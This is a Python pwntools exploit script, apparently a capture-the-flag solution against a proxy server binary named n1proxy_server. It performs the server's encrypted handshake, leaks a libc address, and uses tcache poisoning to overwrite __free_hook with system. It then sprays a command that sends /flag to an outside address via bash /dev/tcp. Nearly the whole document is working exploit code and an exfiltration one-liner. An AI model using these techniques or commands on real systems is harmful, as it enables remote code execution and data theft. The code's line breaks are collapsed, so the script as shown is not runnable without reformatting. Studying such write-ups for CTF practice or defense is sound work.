> https://uz56764.tistory.com/112
```from pwn import *
from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5, AESfrom Crypto.Signature import pkcs1_15from Crypto.Hash import SHA256from Crypto.Util.Padding import padfrom typing import NamedTuple, Tuple, Optional
import random
ConnType_New = 0ConnType_Restore = 1ConnType_Renew = 2ConnType_Restart = 114514ConnType_Unknown = 3
ProxyType_Tcp = 0ProxyType_Udp = 1ProxyType_Sock = 2ProxyType_Unknown = 3
ProxyStatus_Send = 0ProxyStatus_Recv = 1ProxyStatus_Conn = 2ProxyStatus_Close = 3ProxyStatus_Listen = 4ProxyStatus_Unknown = 5
def hexdump(data):    dump = []    for i in range(0, len(data), 16):        chunk = data[i:i+16]        hex_data = ' '.join(f"{b:02x}" for b in chunk)        ascii_data = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)        dump.append(f"{i:04x}  {hex_data:{' '}<{48}}  {ascii_data}")    return '\n'.join(dump)
def custom_pad(data: bytes, block_size: int) -> bytes:    padding_len = (block_size - (len(data) % block_size)) % block_size    return data + bytes([padding_len]) * padding_len
def custom_unpad(data: bytes, block_size: int) -> bytes:    padding_len = data[-1]    if data[-padding_len:] != bytes([padding_len]) * padding_len:        raise ValueError("Invalid padding")    return data[:-padding_len]
def session_enc(keys: bytes, msg: bytes):    key = keys[:32]    iv = keys[32:]
    padded_msg = custom_pad(msg, 16)
    cipher = AES.new(key, AES.MODE_CBC, iv)    enc = cipher.encrypt(padded_msg)    return enc
def session_dec(keys: bytes, msg: bytes):    key = keys[:32]    iv = keys[32:]
    cipher = AES.new(key, AES.MODE_CBC, iv)    dec = custom_unpad(cipher.decrypt(msg), 16)    return dec
def RSA_sign(priv_key, msg):    return pkcs1_15.new(RSA.import_key(priv_key)).sign(SHA256.new(msg))
def RSA_dec(priv_key, msg):    return PKCS1_v1_5.new(RSA.import_key(priv_key)).decrypt(msg, None)
def key_exchanger(p, conntype, client_pri_key=0, client_pub_key_n=0, client_pub_key_e=0):    p.recvuntil(b'n1proxy server v0.1')    # clinet hello    p.send(b'n1proxy client v0.1')    # ConnType    p.send(p32(conntype))
    key_exchange_sign_len = u64(p.recvn(8))    key_exchange_sign = p.recvn(key_exchange_sign_len)
    pub_key_n_len = u64(p.recvn(8))    pub_key_e_len = u64(p.recvn(8))
    pub_key_n = p.recvn(pub_key_n_len)    pub_key_e = p.recvn(pub_key_e_len)
    if conntype != ConnType_Restore:        client_key = RSA.generate(4096)        client_pri_key = client_key.export_key()        client_pub_key = client_key.publickey()
        client_pub_key_n = int(client_pub_key.n).to_bytes((client_pub_key.n.bit_length() + 7) // 8, byteorder='big')        client_pub_key_e = int(client_pub_key.e).to_bytes((client_pub_key.e.bit_length() + 7) // 8, byteorder='big')
    client_key_exchange = (        len(client_pub_key_n).to_bytes(8, byteorder='little') +        client_pub_key_n +        len(client_pub_key_e).to_bytes(8, byteorder='little') +        client_pub_key_e    )
    client_key_exchange_sign = RSA_sign(client_pri_key, client_key_exchange)
    p.send(p64(len(client_key_exchange_sign)))    p.send(client_key_exchange_sign)    p.send(p64(len(client_pub_key_n)))    p.send(client_pub_key_n)    p.send(p64(len(client_pub_key_e)))    p.send(client_pub_key_e)
    print(f'[+] key_exchanger{conntype} -> priv_key : {client_pri_key[:10]}...')    return (client_pri_key, client_pub_key_n, client_pub_key_e)
def read_session_key(p, priv_key):    new_session_sign_len = u64(p.recvn(8))    new_session_sign = p.recvn(new_session_sign_len)
    new_session_enc_key_len = u64(p.recvn(8))    new_session_enc_key = p.recvn(new_session_enc_key_len)
    new_session_enc_time_len = u64(p.recvn(8))    new_session_enc_time = p.recvn(new_session_enc_time_len)
    new_session_dec_key = RSA_dec(priv_key, new_session_enc_key)
    print(f'[+] read_session_key -> session_key : {list(new_session_dec_key)}...')    return new_session_dec_key
def read_ok_msg(p):    p.recvn(528)
def make_payload(pay):    payload = pay    payload += RSA_sign(client_pri_key, payload)    return session_enc(session_key, payload)
binary = process("./n1proxy_server")
TARGET_SERVER_HOST = '127.0.0.1'TARGET_SERVER_PORT = 8080
# run listenp = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p, ConnType_New)session_key = read_session_key(p, client_pri_key)
p.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Listen)))read_ok_msg(p)
target_host = ('abcd' + str(random.randint(0,999999999999999999))).encode()target_host_len = len(target_host)target_port = 12345p.send(make_payload(p32(target_host_len) + target_host + p16(target_port)))
# run connp1 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p1, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)
p1.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Conn)))read_ok_msg(p1)p1.send(make_payload(p32(target_host_len) + target_host + p16(target_port)))
listen_fd = u32(session_dec(session_key, p.recvn(528))[:4])conn_fd = u32(session_dec(session_key, p1.recvn(528))[:4])print(f'[+] listen_fd : {listen_fd}')print(f'[+] conn_fd : {conn_fd}')p.close()p1.close()
#run sendp2 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p2, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)
p2.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Send)))read_ok_msg(p2)p2.send(make_payload( p32(conn_fd) + p64(1) + b'a'))p2.close()
# run recvp1 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p1, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)
p1.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Recv)))read_ok_msg(p1)p1.send(make_payload(p32(listen_fd) + p64(1024)))
res = session_dec(session_key, p1.recvall(timeout=3))p1.close()
libc_base = u64(res[8:16]) - 0x3ebc61free_hook = libc_base + 0x3ed8e8system_addr = libc_base + 0x4f420print(f'libc_base = {hex(libc_base)}')print(f'free_hook = {hex(free_hook)}')print(f'system_addr = {hex(system_addr)}')
#tcache poisoningp2 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p2, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)
p2.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Send)))read_ok_msg(p2)p2.send(make_payload( p32(conn_fd) + p64(0x20) + p64(free_hook-0x18)+p64(0x0)+p64(system_addr)+p64(system_addr)))p2.close()
p1 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p1, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)
p1.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Recv)))read_ok_msg(p1)p1.send(make_payload(p32(listen_fd) + p64(0x80)))p1.close()
command = b'id;id;id;id;id;bash -c "cat /flag >&/dev/tcp/172.17.0.2/7070";#'*100
for i in range(0,100):    p3 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)    p3.send(b'n1proxy client v0.1')    p3.send(p32(ConnType_Restore))
    p3.send(p64(512))    p3.send(command[:512])    p3.send(p64(512))    p3.send(command[:512])    p3.send(p64(3))    p3.send(command[:3])
binary.interactive()binary.kill()```